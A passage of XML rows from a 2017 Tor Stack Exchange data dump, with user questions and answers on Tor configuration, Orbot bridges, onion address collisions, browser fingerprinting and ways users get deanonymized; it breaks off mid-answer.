  <row Id="15382" PostTypeId="2" ParentId="15375" CreationDate="2017-07-31T16:14:47.913" Score="2" Body="&lt;p&gt;By default it used not to, but nowdays - especially as IPv6 support was introduced - the manual about torrc and &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitPolicy&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExitPolicy&lt;/a&gt; in precise - states it a bit unclear with default exit policies. So - now the answer is &quot;YES&quot;. Use just 2 lines to secure it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy reject *:*&#xA;ExitPolicy reject6 *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-07-31T16:14:47.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15383" PostTypeId="1" CreationDate="2017-07-31T18:00:35.107" Score="1" ViewCount="4000" Body="&lt;p&gt;New to the Exchange.&#xA;I have been using TOR for a couple of years now but recently I have been unable to see the Captcha on different sites. One site I can see it but it is giving me an incorrect Captcha message.&#xA;I know that it is probably something really simple but I have spent days on it and just cannot find out what the problem is. I use a Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the best to everyone,&#xA;Maf71&lt;/p&gt;&#xA;" OwnerUserId="18535" LastActivityDate="2017-07-31T18:00:35.107" Title="Captcha not loading" Tags="|captcha|" AnswerCount="0" CommentCount="2" ClosedDate="2017-08-14T14:59:53.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="15385" PostTypeId="2" ParentId="13647" CreationDate="2017-08-01T18:34:51.347" Score="1" Body="&lt;p&gt;What you see in your terminal is correct. Tor is running. The local proxy for Tor is usually set as 127.0.0.1 and the port is 9050. If you put in your SOCKS5 proxy settings in your default browser in Kali as this local IP address and port, .onion sites should load fine. You can run tor as a background process by passing the parameter &lt;code&gt;--daemon&lt;/code&gt; or editing your &lt;code&gt;torrc&lt;/code&gt; file (usually in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;) and adding &lt;code&gt;RunAsDaemon=1&lt;/code&gt; because the default is &lt;code&gt;0&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2017-08-01T18:34:51.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15386" PostTypeId="1" CreationDate="2017-08-02T07:07:47.663" Score="2" ViewCount="430" Body="&lt;p&gt;Somehow Hacker News (and maybe other sites) remembers my login despite my closing the windows and changing Tor routes. How? Here's what I do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start Tor Browser 7.0.2; open some websites in tabs.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://news.ycombinator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://news.ycombinator.com&lt;/a&gt;, click Login, and then login.&lt;/li&gt;&#xA;&lt;li&gt;Hacker News now shows my username at the top right. I also check the exit node by clicking the onion button.&lt;/li&gt;&#xA;&lt;li&gt;Close the tab showing Hacker News. Tor Browser is still running with other sites loaded, but no tabs have Hacker News loaded.&lt;/li&gt;&#xA;&lt;li&gt;Open a new tab, without changing identities, and load &lt;a href=&quot;http://news.ycombinator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://news.ycombinator.com&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Hacker News shows my username at the top right. Click the onion button to check the route and exit node: Sometimes no route is shown at all (?!); other times it shows a different route and exit than in step 3.&lt;/li&gt;&#xA;&lt;li&gt;Check cookies: Tools &gt; Options &gt; Privacy shows: &lt;em&gt;Always use private browsing mode&lt;/em&gt; and &lt;em&gt;Accept cookies from sites&lt;/em&gt; are both checked. Click &lt;em&gt;Show Cookies&lt;/em&gt;, which shows no cookies at all. Also, via NoScript, JavaScript is disabled for ycombinator.com (and no other hosts try to load any JS).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It seems to me that step 6 shouldn't happen. There is no cookie, and my IP address has changed. I'd be surprised if Hacker News uses browser fingerprinting or other tracking and I haven't seen signs of it ... but maybe I should be surprised. More likely, there's something I don't understand about Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="18556" LastEditorUserId="88" LastEditDate="2017-08-09T12:19:03.723" LastActivityDate="2017-08-09T12:19:03.723" Title="How does Hacker News remember my login between windows when I'm using Tor Browser?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15387" PostTypeId="1" CreationDate="2017-08-02T07:35:10.497" Score="0" ViewCount="764" Body="&lt;p&gt;Few days ago on Android 7.1.2 I have installed Orbot and Orfox from Google Play. Few days back I started Orbot and pressed Start button. Connection was successfully established and Browser button was enabled and I could click on it and Orfox started successfully (check.torproject.org display Congratulations message) and web sites can be normally displayed in Orfox. Then I clicked Stop button in Orbot and clicked on left menu button and selected Bridges and selected &quot;Tunnel through Azure&quot; and pressed the Start button. It took little bit longer, but Browser button was enabled again and I could click on it and Orfox was started successfully. So bridges working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yesterday and today I can start Orbot without bridges, but when I click on left menu and select Bridges | Tunnel through Azure and connection in Orbot is not completed successfully. I have tried many times (also rebooted Android, yes I know old Windows habit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  1. Right menu and clicked on Settings.&#xA;  2. Scroll down and in Debug section checked the &quot;Debug log&quot; check box.&#xA;  3. From menu button I clicked Exit to shutdown Orbot and to clear logs.&#xA;  4. Started Orbot.&#xA;  5. Left menu Clicked on Bridges | Tunnel through Azure.&#xA;  6. Press Start button.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is interesting Browser button gets enabled, but when clicked on it Orfox starts but check.torproject.org does not load at all, so it looks like connection to Tor network is not established yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow is log file. I have looked through the log and replaced anything suspicious with many XXX, to remove potentially sensitive information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set background service to FOREGROUND&#xA;Orbot is starting…&#xA;Orbot is starting…&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;torrc.custom=ControlPortWriteToFile /data/data/org.torproject.android/app_bin/control.txt&#xA;SOCKSPort 9050&#xA;SafeSocks 0&#xA;TestSocks 0&#xA;WarnUnsafeSocks 1&#xA;TransPort 9040&#xA;DNSPort 5400&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;DisableNetwork 0&#xA;Log debug syslog&#xA;Log info syslog&#xA;SafeLogging 0&#xA;UseBridges 1&#xA;ClientTransportPlugin meek_lite exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;Bridge meek_lite 0.0.2.0:1 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX url=https://XXXXXXXXXXXXXX.cloudfront.net/ front=XX.awsstatic.com&#xA;Bridge meek_lite 0.0.2.0:2 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX url=https://meek.azureedge.net/ front=ajax.aspnetcdn.com&#xA;GeoIPFile /data/data/org.torproject.android/app_bin/geoip&#xA;GeoIPv6File /data/data/org.torproject.android/app_bin/geoip6&#xA;StrictNodes 0&#xA;&#xA;&#xA;success.&#xA;Orbot is starting…&#xA;/data/data/org.torproject.android/app_bin/tor DataDirectory /data/data/org.torproject.android/app_data --defaults-torrc /data/data/org.torproject.android/app_bin/torrc -f /data/data/org.torproject.android/app_bin/torrc.custom&#xA;Waiting for control port...&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Connecting to control port: 48691&#xA;SUCCESS connected to Tor control port.&#xA;SUCCESS - authenticated to control port.&#xA;Starting Tor client… complete.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;Tor started; process id=12971&#xA;Starting polipo process&#xA;Polipo is running on port:8118&#xA;Polipo is running&#xA;Circuit (1) LAUNCHED:&#xA;NOTICE: Bootstrapped 5%: Connecting to directory server&#xA;orConnStatus ($XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX): LAUNCHED&#xA;Circuit (2) LAUNCHED:&#xA;orConnStatus (cymrubridge02): LAUNCHED&#xA;NOTICE: Bootstrapped 10%: Finishing handshake with directory server&#xA;NOTICE: Bootstrapped 15%: Establishing an encrypted directory connection&#xA;orConnStatus (cymrubridge02): CONNECTED&#xA;Circuit (2) EXTENDED: cymrubridge02&#xA;NOTICE: Bootstrapped 20%: Asking for networkstatus consensus&#xA;Circuit (2) BUILT: cymrubridge02&#xA;Error getting node details from onionoo: timeout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use Orbot without bridges. But currently I am at home when there is no network restrictions (most probably not) by ISP, but when I will go to work I am 100% sure company is blocking TOR network (I know this because using Tor on Windows the only way to get to the Tor network is by using bridges).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to establish Orbot connection using bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have tried Amazon and Obfs4 bridges, but with still unsuccessful.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2017-08-02T07:41:36.870" LastActivityDate="2022-04-06T20:01:40.193" Title="Orbot does not start using bridges (like Azure), but it does start without bridges used" Tags="|bridge|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15388" PostTypeId="1" CreationDate="2017-08-02T10:12:16.357" Score="0" ViewCount="629" Body="&lt;p&gt;Does Orbot act as a firewall on android devices or any other devices it operates in and if not are there any plans to build a firewall by the organization that makes orbot? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By virtue of the fact that is has the ability to block and direct all incoming and outbound traffic through its VPN function which in turn only communicates with the entry tor nodes, a hacker would have to go through exit nodes relay nodes and then entry nodes to gain access to your device wich is virtually impossible with tor right?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="15358" LastEditDate="2017-08-03T17:39:55.747" LastActivityDate="2018-10-15T11:00:14.887" Title="Orbort Tor android" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15392" PostTypeId="2" ParentId="15058" CreationDate="2017-08-02T17:41:33.410" Score="0" Body="&lt;p&gt;I have figured out what is the problem. I am using &lt;a href=&quot;https://firejail.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;firejail&lt;/a&gt; sandbox application with command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firejail /path/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and closing down Tor browser and starting again with about command produces error from my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using command without firejail like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /path/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Tor browser is started without a problem every time.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastActivityDate="2017-08-02T17:41:33.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15393" PostTypeId="1" CreationDate="2017-08-02T18:11:53.193" Score="1" ViewCount="342" Body="&lt;p&gt;My University has openDNS content filtering over it's WiFi network, so WhatsApp, Facebook app and obviously Torrent are blocked. Folks use Psiphon to bypass these, but this doesn't work for torrent. Any torrent client doesn't download any file under the VPN. I don't know anything, so please explain if and how Tor could be useful here. Also, what would I need to do to download torrent files using BitTorrent?&lt;/p&gt;&#xA;" OwnerUserId="18566" LastActivityDate="2017-08-02T18:11:53.193" Title="Using Bit Torrent under openDNS content filtering" Tags="|bittorrent|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15394" PostTypeId="1" CreationDate="2017-08-02T19:32:47.580" Score="2" ViewCount="673" Body="&lt;p&gt;I've configured Tor to always have a US exit node, but when I go to the URL for Spotify Web Player, it says Spotify has not been released in your country yet (Spotify is released in the US). I have validated that Tor is using a US exit node, and have run this many times with different paths (always with US exit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I resolve?&lt;/p&gt;&#xA;" OwnerUserId="18567" LastActivityDate="2018-03-31T06:42:02.810" Title="I've successfully specified my exit node to be US, but Spotify Webplayer still detects a different country. How can I fix this?" Tags="|tor-browser-bundle|exit-relays|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15395" PostTypeId="2" ParentId="15394" CreationDate="2017-08-02T23:36:58.037" Score="1" Body="&lt;p&gt;Quite a usual situation even with VPN. The reason can be one of three:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;GeoIP fail&lt;/strong&gt; - There're a lot of IP-to-location databases, free and paid ones... And even the best ones and &lt;strong&gt;even&lt;/strong&gt; combining the best ones can give you an artifacts like that: I used to win a one year free subscription to 4 databases by pointing my home static IP from Moscow to be identified as an Amsterdam by 3 DB's and other one supposed I was in Texas, US...&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Poorly or intentionally configured website&lt;/strong&gt; - Some IP-to-geo DB's can identify some proxies and Tor exits as not a country, but a zone like A1,A0,etc.. So if the system does not know where you're from - it shows &quot;Oops, you're not allowed&quot; screen without being specific in details.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tracking script issue&lt;/strong&gt; - Usually Tor will try to route different &quot;streams&quot; in different circuits, so you can hit this kind of situation either by hitting one of the first two cases by a tracking script &quot;routing pipe&quot;, or just by a glitch. You can reproduce this situation by creating a page with a pack of different domains+IP's for a pack of tracking scripts and especially executing them from client side.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So just send a Tor &quot;SIGNAL NEWNYM&quot; over the control port and try again&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-08-02T23:36:58.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15396" PostTypeId="1" CreationDate="2017-08-03T07:00:20.957" Score="1" ViewCount="3248" Body="&lt;p&gt;How do i enable java script on tor browser 7.0.2 so i can see a captcha when signing into a site? I have tried to go into content but there is no option to turn it on/off i have also tried to allow no script on the site but i honestly don't know what i'm doing. &lt;/p&gt;&#xA;" OwnerUserId="18573" LastActivityDate="2017-08-03T07:00:20.957" Title="How to enable javascript in tor browser 7.0.2" Tags="|security|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-09T12:54:25.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="15397" PostTypeId="1" CreationDate="2017-08-03T14:07:08.230" Score="3" ViewCount="232" Body="&lt;p&gt;I downloaded the Tor installer and ran it on my Windows. An error message pops up saying installer integrity failed. How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s - I have unblocked it by going to properties.&lt;/p&gt;&#xA;" OwnerUserId="18575" LastEditorUserId="20628" LastEditDate="2018-07-03T19:42:44.010" LastActivityDate="2018-10-31T22:00:39.640" Title="Cannot Install TOR on windows - Installer integrity failed" Tags="|windows|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15398" PostTypeId="1" CreationDate="2017-08-03T17:15:13.270" Score="1" ViewCount="145" Body="&lt;p&gt;Since an update about 3 months ago I have been unable to get Tor to launch when I click on the icon.   The process firefox.exe appears briefly but disappears after a second or two without actually launching the programme. I have tried downloading the latest version and with the experimental version, and have tried running from my hard drive and from USB.  Reading some similar queries I don't appear to have any issue with time settings and am not duel boot.  I will continue to read the answers to similar questions in case this throws more light on it.  Thanks in anticipation of your comments.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a request to clarify my enquiry.  If you can tell me what details I need to give I will supply them as best I can.  &lt;/p&gt;&#xA;" OwnerUserId="18578" LastEditorUserId="18578" LastEditDate="2017-08-13T21:32:59.860" LastActivityDate="2017-08-13T21:32:59.860" Title="Tor fails to launch in Windows 10 when I click on the icon" Tags="|windows|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-08T10:46:34.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="15399" PostTypeId="1" CreationDate="2017-08-03T17:22:50.763" Score="3" ViewCount="4455" Body="&lt;p&gt;I have a new problem with tor-browser. Actually  in recent when I open tor-browser an error shown with these description:&#xA;&quot;Error starting download:&#xA;connection was refused by other side: 111: connection refused.&#xA;Are you connected to the internet?&quot;&#xA;and I clearly know that I 'm connected to internet.&#xA;Time ago (about 1 month) I installed it and I used of tor-browser without any error!&#xA;Here is a picture of error to better understand:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LbIgL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbIgL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="18579" LastActivityDate="2022-03-07T16:05:23.423" Title="tor-browser connection problem" Tags="|tor-browser-bundle|connection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15400" PostTypeId="2" ParentId="4014" CreationDate="2017-08-03T17:33:07.437" Score="3" Body="&lt;p&gt;Strictly speaking, the only folder you need to open up access to is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;%installfolder%\Browser\TorBrowser\Data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's where the caches and profile information is kept. No need to open up security on directories you don't need to.&lt;/p&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2017-08-03T17:33:07.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15403" PostTypeId="2" ParentId="15369" CreationDate="2017-08-03T22:20:03.767" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It shouldn't matter if you connect to your Facebook/email/bank in another browser (e.g. Chrome, Firefox) after using Tor, or vice versa. You may be de-anonymized if you connect to your Facebook account while using Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That depends, but I don't think so. Using the internet isn't very uncommon at that time, so I don't see why using Tor would be any any more suspicious.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18584" LastActivityDate="2017-08-03T22:20:03.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15404" PostTypeId="2" ParentId="4939" CreationDate="2017-08-03T23:40:27.700" Score="1" Body="&lt;p&gt;The votes themselves are also hosted at &#xA;&lt;a href=&quot;https://collector.torproject.org/archive/relay-descriptors/votes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://collector.torproject.org/archive/relay-descriptors/votes/&lt;/a&gt;&#xA;where they can be downloaded directly.&lt;/p&gt;&#xA;" OwnerUserId="18586" LastActivityDate="2017-08-03T23:40:27.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15405" PostTypeId="1" CreationDate="2017-08-04T08:04:49.360" Score="3" ViewCount="442" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The idea is that the Facebook onion address connects you to &lt;strong&gt;Facebook's Core WWW Infrastructure&lt;/strong&gt; - check the URL again, you'll see what we did there - and it reflects one benefit of accessing Facebook this way: that it provides end-to-end communication, from your browser directly into a Facebook datacentre.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(emphasis mine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like facebook was able to generate exactly the url they wanted to generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that, with massive resources comparable to those of facebook, it's possible to generate a collision with an existing hidden service?&lt;/p&gt;&#xA;" OwnerUserId="18589" LastActivityDate="2017-08-05T14:42:57.843" Title="Does facebook's hidden service url mean that collisions are feasible?" Tags="|onion-services|security|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15406" PostTypeId="2" ParentId="15405" CreationDate="2017-08-04T09:18:23.340" Score="3" Body="&lt;p&gt;No, and yes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Facebook, hidden services, and https certs&lt;/a&gt; had talked on this. Facebook in fact brute forced only the first 40 bits and then made a backronym.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Their hidden service name is &amp;quot;facebookcorewwwi.onion&amp;quot;. For a hash of a public key, that sure doesn't look random. Many people have been wondering how they brute forced the entire name.&lt;/p&gt;&#xA;&lt;p&gt;The short answer is that for the first half of it (&amp;quot;facebook&amp;quot;), which is only 40 bits, they generated keys over and over until they got some keys whose first 40 bits of the hash matched the string they wanted.&lt;/p&gt;&#xA;&lt;p&gt;Then they had some keys whose name started with &amp;quot;facebook&amp;quot;, and they looked at the second half of each of them to pick out the ones with pronouncable and thus memorable syllables. The &amp;quot;corewwwi&amp;quot; one looked best to them — meaning they could come up with a story about why that's a reasonable name for Facebook to use — so they went with it.&lt;/p&gt;&#xA;&lt;p&gt;So to be clear, they would not be able to produce exactly this name again if they wanted to. They could produce other hashes that start with &amp;quot;facebook&amp;quot; and end with pronouncable syllables, but that's not brute forcing all of the hidden service name (all 80 bits).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, when facing a really strong adversary, 80 bits is not enough. A high-end GPU (like a GTX 1080) can yield a hash rate at about 4 GHash/s, and specially designed ASICs go far beyond this. (See &lt;a href=&quot;https://github.com/lachesis/scallion#speed--performance&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lachesis/scallion#speed--performance&lt;/a&gt; for more.) Although the public key generation would slow down the hash rate, an attacker with enough resource is able to achieve a few PHash/s, at which a &lt;strong&gt;full collision&lt;/strong&gt; becomes feasible.&lt;/p&gt;&#xA;&lt;p&gt;And there is another caveat. Partial collisions are also useful. Assuming you are not always memorizing the full address, an attacker could just mess up your memory and get you to visit their fake HS.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-08-05T14:42:57.843" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15407" PostTypeId="2" ParentId="8832" CreationDate="2017-08-04T10:03:57.610" Score="1" Body="&lt;p&gt;Just keep in mind that whether you use plugins or addons, many of them perform background operations communicating with remote servers. Unless you know exactly where the traffic is going and coming from as well as the transport layer being used to transmit and receive the data associated with the plugin or addon, you can't be sure that what is passing to and from your system is being channeled through tor and the corresponding relays. Without knowing all of that, it's best to keep the plugin and addon usage down to a minimum if using at all.  I would recommend to refrain from using any while navigating with/through tor, and revisit where you can later with the standard browser when not connected through the tor network if you want or need to used any plugins or addons.  Of course that would exclude any tor specific network locations such as .onion sites, but I'm sure you'd hate to expose yourself when you're trying to be anonymous. It's definitely a sticky situation, but always better to exercise caution when unsure (aka better safe than sorry). Some of the comments above are really useful such as reviewing a short list of must-have add-ons to keep them down to a minimum and to know that they are safe. ~RM&lt;/p&gt;&#xA;" OwnerUserId="16936" LastActivityDate="2017-08-04T10:03:57.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15408" PostTypeId="1" CreationDate="2017-08-04T14:02:39.580" Score="2" ViewCount="601" Body="&lt;p&gt;On WIndows, Tor browser's user agent includes &quot;Windows&quot;. What about Linux and Mac version of Tor browser? Do they share the same value(e.g. Windows' Tor Browser) or they have their own values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone share those UserAgent/navigator.platform?&lt;/p&gt;&#xA;" OwnerUserId="18591" LastActivityDate="2017-08-04T16:32:39.473" Title="Is there any difference between Windows/Linux/Mac Tor Browser user?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15409" PostTypeId="1" CreationDate="2017-08-04T15:29:31.693" Score="0" ViewCount="601" Body="&lt;p&gt;To run on Ubuntu just use KVM to run &lt;code&gt;tails&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are a bit lazy like me, the idea to reboot your system seems&#xA;  inconvenient. But with the help of QEMU there is an easy to use&#xA;  alternative available. QEMU is a program that allows us to emulate a&#xA;  whole computer inside our running system. Running the Tails system&#xA;  from inside QEMU has it’s drawbacks: If your host system is&#xA;  compromised, so will you virtual machine. The other argument are the&#xA;  traces you may leave behind: But with a full-disk encryption (or even&#xA;  at least for your  home-partition), these can be almost mitigated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fedoratips.wordpress.com/2013/05/29/run-tails-in-a-virtual-machine-for-anonymous-internet-access/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fedoratips.wordpress.com/2013/05/29/run-tails-in-a-virtual-machine-for-anonymous-internet-access/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2017-08-04T18:03:21.293" Title="typical way to run tails virtualized on ubuntu?" Tags="|security|tails|ubuntu|encryption|virtual-machine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15410" PostTypeId="2" ParentId="15408" CreationDate="2017-08-04T16:32:39.473" Score="2" Body="&lt;p&gt;Tor Browser has the same user-agent on all platforms. On Linux and OSX it still has Windows 6.1 in the user-agent string.&lt;/p&gt;&#xA;&lt;p&gt;In theory Tor Browser should look the same on all platforms, see bullet point 5 of section 3.1 of &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#adversary-goals&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fingerprinting/anonymity set reduction&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Fingerprinting (more generally: &amp;quot;anonymity set reduction&amp;quot;) is used to attempt to gather identifying information on a particular individual without the use of tracking identifiers. If the dissident's or whistleblower's timezone is available, and they are using a rare build of Firefox for an obscure operating system, and they have a specific display resolution only used on one type of laptop, this can be very useful information for tracking them down, or at least tracking their activities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Historically there have been some issues that have been convered which could be used to tell them apart, but I'm not currently aware of any methods (although that certainly does not mean that they don't exist). It is certainly not intended that they can be distinguished.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-08-04T16:32:39.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15412" PostTypeId="2" ParentId="15369" CreationDate="2017-08-04T17:11:59.373" Score="0" Body="&lt;p&gt;What is dangerous can be case by case specific or even country by country specific. I am gonna write some thoughts.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you separate the life between real world browser operation (bank, Facebook etc) and Tor browser, I don't see any danger, just by using Tor browser few minutes before/after using normal browser. But if you mix them, then don't expect anonymity. For example download some images using Tor browser (e.g. by using hidden services) and paying for them and then publish them on Facebook can clearly connect you (as real person from Facebook) with someone buying stuff (you as Tor user). Separate the life is essential, and of course don't do anything outrageous.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For example user is living in suppressive country and living in small town like 10000 people and using Tor to upload some video of corrupted mayor to some web site. Because of using Tor it is not possible to say what has actually been uploaded, because Tor traffic is encrypted. But ISP can know who did connect to Tor network (by monitoring entry nodes) and how many data was transfered (how many bytes). In small town lets say at night at 4 AM five users where connected to Tor network. Four of them were just reading some news web sites, so very few bytes where transfered, but one user (you) has uploaded a lot of data (video file). You can become suspect because ISP knows you are the only one using Tor and uploading huge amount of data. In suppressive regime police may arrest you and torture you to admit you have uploaded the video. So just by using basic statistics and you may get out of the crowd. Police may have also other info about you, like you are the one being on a lot of protests etc. They may link police data with simple data usage statistics.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another real time sample was few years back. Some student didn't learn and on the day of exam by using Tor and anonymous mail he sent a (false) bomb alert to school administrators in hope whole exams would be canceled and he would have enough time to prepare to next time exams will gonna happen. Exams were canceled, success by the student. But police made an investigation. They made some assumptions, like it is hight probability the alert was sent by student, because it was an exams day. They searched public university computer rooms to find out who was using computers at the time when mail was send. They got list of users using computers and by police work interrogation got to few potential suspects. Now eliminate all the students that are not well computer literate, students with good grades not having an interest of an incident, students who professors say it is a reliable person etc and the list shrinks pretty tight. With few police tricks, clever questioning etc they found out which student sent the mail. You see Tor and anonymous mail is not always enough. By using only police work, student was caught.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using public places like public pub, library etc and using Tor may seem save. But using the same places, day after day, and some employee may remember there was one girl with fanny cap using her own laptop many days in a role. Nobody knows what she was doing (like using Tor), but they remembered her and asking around the visitors of pub/library and someone may know her. By using 